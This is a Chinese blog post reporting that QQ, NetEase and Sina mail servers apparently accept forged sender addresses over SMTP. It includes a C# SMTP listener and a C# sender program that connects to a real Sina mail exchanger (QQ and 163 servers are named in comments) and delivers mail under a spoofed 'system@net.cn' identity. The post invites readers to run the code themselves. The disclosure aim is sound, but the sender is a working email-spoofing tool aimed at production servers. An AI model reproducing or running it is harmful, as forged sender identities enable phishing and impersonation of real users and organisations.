好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

国内邮箱服务器严重漏洞

国内邮箱服务器严重漏洞

国内邮箱服务器严重漏洞

这几天学习了下邮箱服务器及邮件协议,发现了不少问题,于是就测试了一下各个大型邮箱服务商的服务器。(这个问题应该之前也有人发现的,可能我没找到把)

经过测试发现了一个非常严重的问题(至少我觉得已经非常严重了),就是可以完全伪造任何人的邮箱地址发送邮件,比如:system@163.com 发送给除163邮箱的大多数邮箱。

我测试了QQ、网易、新浪三家的邮箱服务器,都没有做任何的验证(腾讯的稍微好点)。

我先说说这个漏洞存在哪里,首先邮箱服务器之间的通信,比如下面这个:

A 发送服务器 B接收服务器
A:链接B
B:220 Welcome to Happy you and me SMTP Server.
A:HELO m1.163.com
B:250 ok
A:MAIL FROM:< system@net.cn >
B:250 ok
A:RCPT TO:< happyyouandme1@sina.cn >
B:250 ok
A:DATA
B:354 Start mail input; end with <CRLF>.<CRLF>
A:DATA数据
B:250 OK
之后就是退出命令
按常理我们应该在A发HELO m1.163.com 的时候去获取A的服务器信息,然后验证是否于当前链接的IP地址符合,但我测试的这三家都没有做任何的验证,也就导致了MAIL FROM 的邮箱可以任意指定。
其实我认为当初设计这个协议的时候作者的想法是互相表明了身份后双方都应该验证对方身份是否合法的,但可惜的是以上三家服务商并没有验证(163的邮箱服务器好像不是自己的),

我文采不好也就不多说了,希望各大服务商能尽快修复这个问题带给我们用户一点安全感吧,现在我都不敢相信邮箱内容了,打电话确认了之后才放心,
如果小弟有啥不对的地方请各位多多指正,小弟不甚感激
最后付上我测试的邮箱接收和发送的代码,各位大哥大姐也可以去测下,(但测试测试就好了。。  别做坏事哦)
接受端:

 class   Program
    {
          static   void  Main( string  [] args)
        {
              var  listener =  new  TcpListener(IPAddress.Any,  25  );
            listener.Start();
              while  ( true  )
            {
                Console.WriteLine(  "  服务已启动  "  );
                  var  socket =  listener.AcceptSocket();
                ResolveSocket(socket);
            }
        }
          static   void   ResolveSocket(Socket socket)
        {
            Console.WriteLine(  "  收到消息:{0}  " , socket.RemoteEndPoint); //  收到链接 
            socket.Send(System.Text.Encoding.ASCII.GetBytes( "  220 Welcome to Happy you and me SMTP Server.\r\n  " )); //  服务器准备完成,并发送欢迎语句 
             byte [] bytes =  new   byte [ 80  ];
              var  count = socket.Receive(bytes); //  接收 
             var  sendServer =  System.Text.Encoding.ASCII.GetString(bytes);
            Console.WriteLine(sendServer);
            Console.WriteLine(  "  发件箱服务器:{0}  " , sendServer.Split( '   ' )[ 1 ]); //  获取发送服务器地址 
            socket.Send(System.Text.Encoding.ASCII.GetBytes( "  250 x-xh.com\r\n  " )); //  发生确认信息 
            bytes =  new   byte [ 80  ];
            count  =  socket.Receive(bytes);
            sendServer  = System.Text.Encoding.ASCII.GetString(bytes); //  获取到发送邮件的主人地址 
             Console.WriteLine(sendServer);
            Console.WriteLine(  "  发件人地址: {0}  " , System.Text.RegularExpressions.Regex.Match(sendServer,  @"  \<([\s\S]+)\>  " ).Groups[ 1 ]); //  获取发件人地址 
            socket.Send(System.Text.Encoding.ASCII.GetBytes( "  250 OK\r\n  " )); //  告诉对方服务器可以接收发件人发来的邮件 
            bytes =  new   byte [ 80  ];
            count  =  socket.Receive(bytes);
            sendServer  = System.Text.Encoding.ASCII.GetString(bytes); //  250 OK 
             Console.WriteLine(sendServer);
              while  (sendServer.StartsWith( "  rcpt  " , StringComparison.OrdinalIgnoreCase)) //  循环获取接收此邮件人的信息 
             {
                Console.WriteLine(  "  收件人地址: {0}  " , System.Text.RegularExpressions.Regex.Match(sendServer,  @"  \<([\s\S]+)\>  " ).Groups[ 1 ]); //  获取收件人地址 
                socket.Send(System.Text.Encoding.ASCII.GetBytes( "  250 OK\r\n  " )); //  告诉对方服务器接收人可以接收发件人发来的邮件 
                bytes =  new   byte [ 80  ];
                count  =  socket.Receive(bytes);
                sendServer  = System.Text.Encoding.ASCII.GetString(bytes); //  250 OK 
                 Console.WriteLine(sendServer);
            }
              if  (sendServer.StartsWith( "  data  " , StringComparison.OrdinalIgnoreCase)) //  正式数据 
             {
                socket.Send(System.Text.Encoding.ASCII.GetBytes(  "  354 Start mail input; end with <CRLF>.<CRLF>\r\n  " )); //  告诉对方可以开始写入邮件内容了 
                bytes =  new   byte [ 512  ];
                  while  ((count = socket.Receive(bytes)) ==  512  )
                {
                    sendServer  +=  System.Text.Encoding.ASCII.GetString(bytes);
                }
                sendServer  +=  System.Text.Encoding.ASCII.GetString(bytes);
                socket.Send(System.Text.Encoding.ASCII.GetBytes(  "  250 OK\r\n  " )); //  告诉对方我接收完成了 
                bytes =  new   byte [ 512  ];
                socket.Receive(bytes);
                sendServer  +=  System.Text.Encoding.ASCII.GetString(bytes);
                Console.WriteLine(sendServer.Trim());
                System.IO.File.WriteAllText(  "  d:\\1.txt  "  , sendServer);
            }
            socket.Send(System.Text.Encoding.ASCII.GetBytes(  "  221 Goodbye.\r\n  " )); //  结束此次对话 
             socket.Close();
            socket.Dispose();
            
        }
    } 

发送端:

 class   Program
    {
          static   void  Main( string  [] args)
        {
              //  113.108.77.23   //  qq邮箱  更多服务器nslookup -qt=mx qq.com
              //  163mx02.mxmail.netease.com  //   163邮箱 更多服务器nslookup -qt=mx 163.com
              //  freemx1.sinamail.sina.com.cn 
            System.Net.Sockets.TcpClient client =  new  System.Net.Sockets.TcpClient( "  freemx1.sinamail.sina.com.cn  " ,  25 ); //  连接接收此邮件的服务器 
             byte [] bytes =  new   byte [ 80  ];
              var  count = client.Client.Receive(bytes); //  接收服务器返回的状态信息 
             var  sendServer = System.Text.Encoding.ASCII.GetString(bytes); //  应该返回220  
             Console.WriteLine(sendServer);
            client.Client.Send(System.Text.Encoding.ASCII.GetBytes(  "  HELO m1.163.com\r\n  " )); //  发送HELO信息 
            bytes =  new   byte [ 80  ];
            count  = client.Client.Receive(bytes); //  接收服务器返回的状态信息 
            sendServer = System.Text.Encoding.ASCII.GetString(bytes); //  应该返回250  
             Console.WriteLine(sendServer);
            client.Client.Send(System.Text.Encoding.ASCII.GetBytes(  "  MAIL FROM:<system@net.cn>\r\n  " )); //  通知服务器邮件的发送者 
             bytes =  new   byte [ 80  ];
             count  = client.Client.Receive(bytes); //  接收服务器返回的状态信息 
             sendServer = System.Text.Encoding.ASCII.GetString(bytes); //  返回250  则可以继续,否则不能继续了 
              Console.WriteLine(sendServer);
             client.Client.Send(System.Text.Encoding.ASCII.GetBytes(  "  RCPT TO:<123456@sina.cn>\r\n  " )); //  通知服务器接收邮件的邮箱地址 多个可循环此步骤,但要接收了返回信息在发 
             bytes =  new   byte [ 80  ];
             count  = client.Client.Receive(bytes); //  接收服务器返回的状态信息 
             sendServer = System.Text.Encoding.ASCII.GetString(bytes); //  返回250  则可以继续,否则不能继续了 
              Console.WriteLine(sendServer);
             client.Client.Send(System.Text.Encoding.ASCII.GetBytes(  "  DATA\r\n  " )); //  通知服务器要发生邮件内容了 
             bytes =  new   byte [ 80  ];
             count  = client.Client.Receive(bytes); //  接收服务器返回的状态信息 
             sendServer = System.Text.Encoding.ASCII.GetString(bytes); //  返回354  则可以继续,否则不能继续了 
              Console.WriteLine(sendServer);
               string  data =  @"  From:1049099499<system@net.cn>
To: 1049099499<123456@sina.cn>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: Base64

5LiN5aW95oSP5oCd77yM5ou/5L2g6YKu566x5Y+R5LqG5Liq6YKu5Lu2LeOAgi3vvIE=
------=_Part_161944_1210153027.551452414

.
  "  ;
             client.Client.Send(System.Text.Encoding.ASCII.GetBytes(data));  //  邮件内容,内容是Base64编码的 “不好意思,拿你邮箱发了个邮件-。-!” 
             Console.WriteLine( "  数据发送完成  "  );
            bytes  =  new   byte [ 80  ];
            count  = client.Client.Receive(bytes); //  接收服务器返回的状态信息 
             sendServer =  System.Text.Encoding.ASCII.GetString(bytes);
             Console.WriteLine(sendServer);  //  返回250  则成功了 550则失败,发送给qq的邮箱失败率很高,不知道为什么,451也是失败,但不知道什么东西 
              Console.Read();
        }
    } 


转载请注明出处:快乐你我-快乐编程
QQ群:82598514
联系邮箱: 12482335@qq.com

作者: Leo_wl

    

出处: http://www.cnblogs.com/Leo_wl/

    

本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

版权信息

查看更多关于国内邮箱服务器严重漏洞的详细内容...

  阅读:43次